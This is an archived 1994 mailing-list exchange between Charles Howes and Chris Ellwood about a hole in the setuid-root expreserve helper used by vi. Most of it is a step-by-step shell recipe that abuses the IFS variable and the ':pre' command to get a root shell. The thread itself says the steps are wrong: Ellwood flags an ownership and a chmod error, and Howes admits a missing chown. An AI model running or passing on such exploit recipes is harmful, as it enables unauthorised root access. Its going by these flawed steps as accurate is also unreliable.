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Re: chmod 000 .rhosts - works?


From: chowes () helix net (Charles Howes)
Date: Mon, 17 Oct 1994 02:46:30 -0700 (PDT)


On Sun, 16 Oct 1994, Chris Ellwood wrote:

Charles Howes said...
ObBug: vi runs expreserve when it crashes or you type ':pre' (on some
  versions).  Expreserve is setuid root.  Expreserve runs /bin/mail
  with 'system()'.  So, do the following:
    % cd /tmp
    % cp /bin/sh fubar
    % cat > bin
    chmod 4755 fubar
    ^D
    % chmod u+x fubar

I see a couple problems with the script so far.  /bin/sh was copied
to fubar while you are a regular user, so it will be owned by you
and you'll end up with a nice copy of /bin/sh that's setuid to you,
not your target user.  Also, that last line should probably read 
'chmod u+x bin', not fubar.

Ooops, forgot the chown.  Sigh.  Trust memory to lose things.

    % setenv IFS=/
    % vi
    :pre
    :q
    % fubar
    #
  Some versions of expreserve don't have the hole.
  Some versions of vi don't have the :pre command.
  One does not imply the other.

Thanks for posting it anyway.

- Chris


--
Charles Howes -- chowes () helix net
 Always tell the truth, then you make it the other bloke's problem! 
 - Sean Connery, 1971   



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